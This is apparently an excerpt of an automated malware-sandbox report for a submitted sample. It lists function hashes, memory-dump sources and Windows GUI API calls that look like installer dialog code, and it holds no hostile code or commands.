Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6df15566d9df17078789fedeacbf0bb3f967e014337dcc86904b550658c5061
Instruction ID: 22cf063313f24f6c5c9c03bed6089fd6fe3096a37fc1e94dfba571e7c2ac106b
Opcode Fuzzy Hash: b6df15566d9df17078789fedeacbf0bb3f967e014337dcc86904b550658c5061
Instruction Fuzzy Hash: 24D1BE78E00218CFEB15DFA9D980B9DBBB2BF89300F6080A9D409AB355DB395D85CF50

Function 39C5F2F8 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e661ae091a4849e3218782f5323d5542fd1283e16a4c82019add037e14c4448b
Instruction ID: e92a18e2602af19a2e41246692ed72afac5ce37380b3d9319c4a1ef2f9f20818
Opcode Fuzzy Hash: e661ae091a4849e3218782f5323d5542fd1283e16a4c82019add037e14c4448b
Instruction Fuzzy Hash: FAD1AF78E00218CFEB55DFA9D950B9DBBB2BF89300F6080A9D409AB355DB395D82CF54

Function 39CC1BA0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720156799.0000000039CC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39cc0000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9985728de34ad4fefa4f7e9928d1acc15ba585c4e3b9afdfa57e619e1ea28dcb
Instruction ID: 0b66ffbfa9ae91a3b3ed80dc998f399bf54b68e8bdb9b31735117fdfd302036f
Opcode Fuzzy Hash: 9985728de34ad4fefa4f7e9928d1acc15ba585c4e3b9afdfa57e619e1ea28dcb
Instruction Fuzzy Hash: 1DC1A174E00218CFEB54DFA9D994B9DBBB2BF89300F6080A9D409AB355DB395E81CF50

Function 39C55BD8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 828e1557cc1f7cf0ae20ff2af7e5490da314e4e1add2c99f2d06669ceac85849
Instruction ID: 8dfef5aaaaa93395ea40ca22ee6c46cc37e541695d0c850e391412fe9f76137a
Opcode Fuzzy Hash: 828e1557cc1f7cf0ae20ff2af7e5490da314e4e1add2c99f2d06669ceac85849
Instruction Fuzzy Hash: 40C1B274E00218CFEB14DFA5D954B9DBBB2BF89300F6081A9D409AB355DB395E81CF50

Function 39C515F8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b2d166ac756c8dea668c10deb6bd9b5d71c8f3248c89d4fe4068fcd2fbc99a8
Instruction ID: 6d86311c3b3cbdc3fd311d3c63f1dca8a2345957609b14b28a46ed9bd23fed2b
Opcode Fuzzy Hash: 1b2d166ac756c8dea668c10deb6bd9b5d71c8f3248c89d4fe4068fcd2fbc99a8
Instruction Fuzzy Hash: 46C1B178E00218CFDB14DFA9D954B9DBBB2BF89300F6081A9D409AB355DB399E81CF50

Function 39C55780 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57b04632986590563c4c42a0d748d86a06256646d8f825d1de0c4a1bcd8952f5
Instruction ID: 299e6c5464e58f7d1eff3ad0b0d5129675ab568c807a5302fb4d3a529d02f724
Opcode Fuzzy Hash: 57b04632986590563c4c42a0d748d86a06256646d8f825d1de0c4a1bcd8952f5
Instruction Fuzzy Hash: ADC1B278E00218CFEB14DFA5D954B9DBBB2BF89300F6080A9D409AB355DB395E85CF50

Function 39C511A0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e8881579e90f89cc3fa4d0767ad93ef1ed19f146095c4890ba46fb8f506253a
Instruction ID: 389502d3f145603611982ca71d20185a3083469fe9c12400b278ca89fc655010
Opcode Fuzzy Hash: 6e8881579e90f89cc3fa4d0767ad93ef1ed19f146095c4890ba46fb8f506253a
Instruction Fuzzy Hash: CAC1A078E00218CFDB14DFA5D954B9DBBB2BF89300F6081A9D409AB355DB399E81CF50

Function 39C52BB0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8744465ee8e027d78948ecc94e774c19cadf3fe811a8ab68a6fa42afe3d3dba
Instruction ID: 63d4d5644d06938a24cabb847b85b95a5dd64f7f564e38df80a4da3048c12c38
Opcode Fuzzy Hash: a8744465ee8e027d78948ecc94e774c19cadf3fe811a8ab68a6fa42afe3d3dba
Instruction Fuzzy Hash: 74C1AF74E00218CFEB14DFA9D994B9DBBF2BF89300F6081A9D419AB355DB395A81CF50

Function 39C50D48 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b19056c416da501c6dc779752284ec99d23d68b62c53124dbb37fc39e818b10
Instruction ID: ce17945da951f8bd02c3c2be48494f9f5f47d5d9539dfd04bff5c94d1ccc2e39
Opcode Fuzzy Hash: 2b19056c416da501c6dc779752284ec99d23d68b62c53124dbb37fc39e818b10
Instruction Fuzzy Hash: 5BC1B178E00218CFEB14DFA5D944B9DBBB2BF89300F6081A9D409AB355DB399E81CF50

Function 39C52758 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfbf0085bc11287f7cfa710814b70ed4ff0ed871dc916dec2335110ff4f825a0
Instruction ID: ab542fe97927e2a083715fbf9779f572967a843f67836df298948f0390d3a63a
Opcode Fuzzy Hash: bfbf0085bc11287f7cfa710814b70ed4ff0ed871dc916dec2335110ff4f825a0
Instruction Fuzzy Hash: 66C1AF74E00218CFEB14DFA5D994B9DBBF2BF89300F6081A9D419AB355DB399A81CF50

Function 39C57720 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d306008c5029d32bc42a25de4197367a26ebe16ab435912256cb3421a0ff7b0
Instruction ID: 7d374666b144bbaf548126e422ca29d75a09453d0ac0ae67616eadc750dfd742
Opcode Fuzzy Hash: 3d306008c5029d32bc42a25de4197367a26ebe16ab435912256cb3421a0ff7b0
Instruction Fuzzy Hash: B3C1B174E00218CFEB14DFA9D994B9DBBB2BF89300F6081A9D409AB355DB395E81CF50

Function 39C55328 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5e217b6fef5ae0d5d67e585ce4015df8dd3c020a4441d08e5439c1d4416bf65
Instruction ID: ddfe545900e74133544b6f59900df0cc149e5e1523df020616eaff0df2f487a3
Opcode Fuzzy Hash: e5e217b6fef5ae0d5d67e585ce4015df8dd3c020a4441d08e5439c1d4416bf65
Instruction Fuzzy Hash: 9DC1A178E00218CFDB54DFA5D954B9DBBB2BF89300F6080A9D409AB355DB395E85CF50

Function 39C572C8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22529a571bea6d8b0a48d9e40a27ec868ad5bc8dc9c0605c6b60532b661c22a9
Instruction ID: 0c144e233fd12a4c677ab8cd6e5be3b8a35601e626ee1ee900661d4fc4f6af7c
Opcode Fuzzy Hash: 22529a571bea6d8b0a48d9e40a27ec868ad5bc8dc9c0605c6b60532b661c22a9
Instruction Fuzzy Hash: FEC1B374E00218CFDB54DFA9D994B9DBBB2BF89300F6080A9D419AB355DB395E81CF50

Function 39C54ED0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c52fd565cc744d692d2a7ec5dc2cf82e5de70e61a5eecf67344f2fa6bcc8c57
Instruction ID: e75f83c82e48fcfe22b5cedba79ed69ecb0a3bcaceeea8873673bfacf46ed07f
Opcode Fuzzy Hash: 1c52fd565cc744d692d2a7ec5dc2cf82e5de70e61a5eecf67344f2fa6bcc8c57
Instruction Fuzzy Hash: A5C1B274E00218CFDB14DFA9D954B9DBBB2BF89300F6081A9D409AB355DB395E85CF50

Function 39C508F0 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bca871c696adc47844d7df4d13815d4a4063e3878950e6b1e5741aac492eb37
Instruction ID: 02724c6f99a004ca080fdfe5c3c0121057eae8c5d1ff941c51dabe7e91c8f711
Opcode Fuzzy Hash: 6bca871c696adc47844d7df4d13815d4a4063e3878950e6b1e5741aac492eb37
Instruction Fuzzy Hash: E3C1B174E00218CFEB54DFA9D994B9DBBB2BF89300F6081A9D409AB355DB395E81CF50

Function 39C56488 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd52f969eb886d2c4a274630b25b7e2417d2987fb12c4f9bda804c88e11b9bbf
Instruction ID: f52e314678e25cc0bd1abd2d579fa0607016ddbf8b4721fdc74d006f3a8a38a3
Opcode Fuzzy Hash: dd52f969eb886d2c4a274630b25b7e2417d2987fb12c4f9bda804c88e11b9bbf
Instruction Fuzzy Hash: 72C1C274E00218CFDB54DFA5D954B9DBBB2BF89300F6081A9D409AB355DB395E81CF50

Function 39C50498 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0d2f5fbdd5914fde22ec6bd5637be6ad4a680e958dd032b27d13a5c8a16d12c
Instruction ID: cc185144ef9675e6e6d7bb815ac8629b7c59349f8c3660bcffb927f4cf77efd8
Opcode Fuzzy Hash: b0d2f5fbdd5914fde22ec6bd5637be6ad4a680e958dd032b27d13a5c8a16d12c
Instruction Fuzzy Hash: 05C1B174E01218CFEB14DFA5D954B9DBBB2BF89300F6080A9D809AB355DB399E81CF50

Function 39C5308F Relevance: .2, Instructions: 229COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e55013d723eaf64f855bd55453accbe9be571fab411a415901bca73ea9d10c71
Instruction ID: d4aec9f0c5c3f6f0cb3ecaf92c8fa8da2332ae78eb1898a7a8076b4ad2f78d18
Opcode Fuzzy Hash: e55013d723eaf64f855bd55453accbe9be571fab411a415901bca73ea9d10c71
Instruction Fuzzy Hash: 07B1B078E00218CFDB54DFA5D991B9DBBB2BF49300F6080A9D809AB355DB399E81DF50

Function 39C5B081 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2720110683.0000000039C50000.00000040.00000800.00020000.00000000.sdmp, Offset: 39C50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_39c50000_ZoRLXzC5qF.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2efdc37749eede1e73bd63de945b842cc2de2fc78e143d620990eca98c039bc5
Instruction ID: cf2ef40f1791d661e7d6e2da9eb33ad28c52ee11c4363cc10cb36c36b299cf90
Opcode Fuzzy Hash: 2efdc37749eede1e73bd63de945b842cc2de2fc78e143d620990eca98c039bc5
Instruction Fuzzy Hash: 7641CEB4D122199FDB44CFA9D594BAEBBF2AF49300F1050A9E414BB391D7399A40CF98

Function 0040573B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 00405799
GetDlgItem.USER32(?,000003EE), ref: 004057A8
GetClientRect.USER32(?,?), ref: 004057E5
GetSystemMetrics.USER32(00000002), ref: 004057EC
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040580D
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040581E
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405831
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040583F
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405852
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405874
ShowWindow.USER32(?,00000008), ref: 00405888
GetDlgItem.USER32(?,000003EC), ref: 004058A9
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004058B9
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058D2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058DE
GetDlgItem.USER32(?,000003F8), ref: 004057B7

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,?,00404356), ref: 00404539

GetDlgItem.USER32(?,000003EC), ref: 004058FB
CreateThread.KERNEL32(00000000,00000000,Function_000056CF,00000000), ref: 00405909
CloseHandle.KERNEL32(00000000), ref: 00405910
ShowWindow.USER32(00000000), ref: 00405934
ShowWindow.USER32(?,00000008), ref: 00405939
ShowWindow.USER32(00000008), ref: 00405983
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004059B7
CreatePopupMenu.USER32 ref: 004059C8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059DC
GetWindowRect.USER32(?,?), ref: 004059FC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405A15
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A4D
OpenClipboard.USER32(00000000), ref: 00405A5D
EmptyClipboard.USER32 ref: 00405A63
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A6F
GlobalLock.KERNEL32(00000000), ref: 00405A79
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A8D
GlobalUnlock.KERNEL32(00000000), ref: 00405AAD
SetClipboardData.USER32(0000000D,00000000), ref: 00405AB8
CloseClipboard.USER32 ref: 00405ABE

Strings

{, xrefs: 004059A1

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: dfead9bfc37cf3db2b35e915a87c725964709008a4f247d6999fb4be6a1ac7a0
Instruction ID: d3b07f9c2581fb6b60ef1a2666babd9f8dcdaaa8066b0d43d813b8afd8e95190
Opcode Fuzzy Hash: dfead9bfc37cf3db2b35e915a87c725964709008a4f247d6999fb4be6a1ac7a0
Instruction Fuzzy Hash: 03B159B0900608FFDF11AF60DD89AAE7B79FB48355F00813AFA45BA1A0C7785A51DF58

Function 00404F63 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 489windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404F7B
GetDlgItem.USER32(?,00000408), ref: 00404F86
GlobalAlloc.KERNEL32(00000040,?), ref: 00404FD0
LoadImageW.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404FE7
SetWindowLongW.USER32(?,000000FC,00405570), ref: 00405000
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00405014
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00405026
SendMessageW.USER32(?,00001109,00000002), ref: 0040503C
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00405048
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 0040505A
DeleteObject.GDI32(00000000), ref: 0040505D
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00405088
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00405094
SendMessageW.USER32(?,00001132,00000000,?), ref: 0040512F
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 0040515F

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,?,00404356), ref: 00404539

SendMessageW.USER32(?,00001132,00000000,?), ref: 00405173
GetWindowLongW.USER32(?,000000F0), ref: 004051A1
SetWindowLongW.USER32(?,000000F0,00000000), ref: 004051AF
ShowWindow.USER32(?,00000005), ref: 004051BF
SendMessageW.USER32(?,00000419,00000000,?), ref: 004052BA
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 0040531F
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00405334
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00405358
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00405378
ImageList_Destroy.COMCTL32(?), ref: 0040538D
GlobalFree.KERNEL32(?), ref: 0040539D
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00405416
SendMessageW.USER32(?,00001102,?,?), ref: 004054BF
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004054CE
InvalidateRect.USER32(?,00000000,?), ref: 004054F9
ShowWindow.USER32(?,00000000), ref: 00405547
GetDlgItem.USER32(?,000003FE), ref: 00405552
ShowWindow.USER32(00000000), ref: 00405559

Strings

, xrefs: 00405531
M, xrefs: 00405117
N, xrefs: 004051F8

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction ID: 2b71226c2ce540754c325362a134889399d6c5c4637dca841463e5b600fa6882
Opcode Fuzzy Hash: 90cd5b96e7067808b838d0f88060242d92195fc86ed4621a895529849429e476
Instruction Fuzzy Hash: 8802AD70900608AFDF20DFA8DD85AAF7BB5FB45314F10817AE611BA2E1D7798A41CF58

Function 00403FF7 Relevance: 51.4, APIs: 34, Instructions: 357windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404033
ShowWindow.USER32(?), ref: 00404053
GetWindowLongW.USER32(?,000000F0), ref: 00404065
ShowWindow.USER32(?,00000004), ref: 0040407E
DestroyWindow.USER32 ref: 00404092
SetWindowLongW.USER32(?,00000000,00000000), ref: 004040AB
GetDlgItem.USER32(?,?), ref: 004040CA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040DE
IsWindowEnabled.USER32(00000000), ref: 004040E5
GetDlgItem.USER32(?,?), ref: 00404190
GetDlgItem.USER32(?,00000002), ref: 0040419A
SetClassLongW.USER32(?,000000F2,?), ref: 004041B4
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00404205
GetDlgItem.USER32(?,00000003), ref: 004042AB
ShowWindow.USER32(00000000,?), ref: 004042CC
EnableWindow.USER32(?,?), ref: 004042DE
EnableWindow.USER32(?,?), ref: 004042F9
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 0040430F
EnableMenuItem.USER32(00000000), ref: 00404316
SendMessageW.USER32(?,000000F4,00000000,?), ref: 0040432E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404341
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040436B
SetWindowTextW.USER32(?,0042CA68), ref: 0040437F
ShowWindow.USER32(?,0000000A), ref: 004044B3

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID:
API String ID: 1860320154-0
Opcode ID: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction ID: 8cad316efbf8f9c89f6feec2797fb874042f4abab253e3557332251604c97906
Opcode Fuzzy Hash: 85e06a1bfb462d71b49bda8b571905cea54c43c8c85ee92c4a54339351a5f343
Instruction Fuzzy Hash: C6C1A1B1500204BBDB206F61EE89E2B3AA8FB85755F01453EF751B51F0CB39A8529B2D

Function 00403C49 Relevance: 37.0, APIs: 13, Strings: 8, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040696B: GetModuleHandleA.KERNEL32(?,00000020,?,00403662,0000000C,?,?,?,?,?,?,?,?), ref: 0040697D
Part of subcall function 0040696B: GetProcAddress.KERNEL32(00000000,?), ref: 00406998

lstrcatW.KERNEL32(00441000,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75573420,00441800,00000000,0043F000,00008001), ref: 00403CCA
lstrlenW.KERNEL32(004326A0,?,?,?,004326A0,00000000,0043F800,00441000,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75573420), ref: 00403D4A
lstrcmpiW.KERNEL32(00432698,.exe,004326A0,?,?,?,004326A0,00000000,0043F800,00441000,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D5D
GetFileAttributesW.KERNEL32(004326A0), ref: 00403D68
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,0043F800), ref: 00403DB1

Part of subcall function 004064BE: wsprintfW.USER32 ref: 004064CB

RegisterClassW.USER32(004336A0), ref: 00403DEE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403E06
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E3B
ShowWindow.USER32(00000005,00000000), ref: 00403E71
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E9D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403EAA
RegisterClassW.USER32(004336A0), ref: 00403EB3
DialogBoxParamW.USER32(?,00000000,00403FF7,00000000), ref: 00403ED2

Strings

RichEdit, xrefs: 00403EA4
.DEFAULT\Control Panel\International, xrefs: 00403CB5
Control Panel\Desktop\ResourceLocale, xrefs: 00403C7D
RichEdit20W, xrefs: 00403E95, 00403E9B
_Nb, xrefs: 00403DCD, 00403E35
RichEd32, xrefs: 00403E85
RichEd20, xrefs: 00403E77
.exe, xrefs: 00403D57

Memory Dump Source

Source File: 00000003.00000002.2689694269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2689675138.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689713768.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689734987.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2689762939.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_ZoRLXzC5qF.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1115850852
Opcode ID: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction ID: c722afd28cb3ad108a11d8546cd61d6ece1c23d3a169ae69e987cf65e7f86a01
Opcode Fuzzy Hash: a4b6b062c3cda51b96eb3e1e848ea22fea792b1bb39582dd55e536ebb93ad2e9
Instruction Fuzzy Hash: 7961C370500700BED620AF66AD46F2B3A6CEB85B5AF40053FF945B22E2DB7C5941CA6D

Function 004046B5 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,?), ref: 00404753
GetDlgItem.USER32(?,000003E8), ref: 00404767
SendMessageW.USER32(00000000,0000045B,?,00000000), ref: 00404784
GetSysColor.USER32(?), ref: 00404795
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004047A3
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004047B1
lstrlenW.KERNEL32(?), ref: 004047B6
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 004047C3
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 004047D8
GetDlgItem.USER32(?,0000040A), ref: 00404831
SendMessageW.USER32(00000000), ref: 00404838
GetDlgItem.USER32(?,000003E8), ref: 00404863
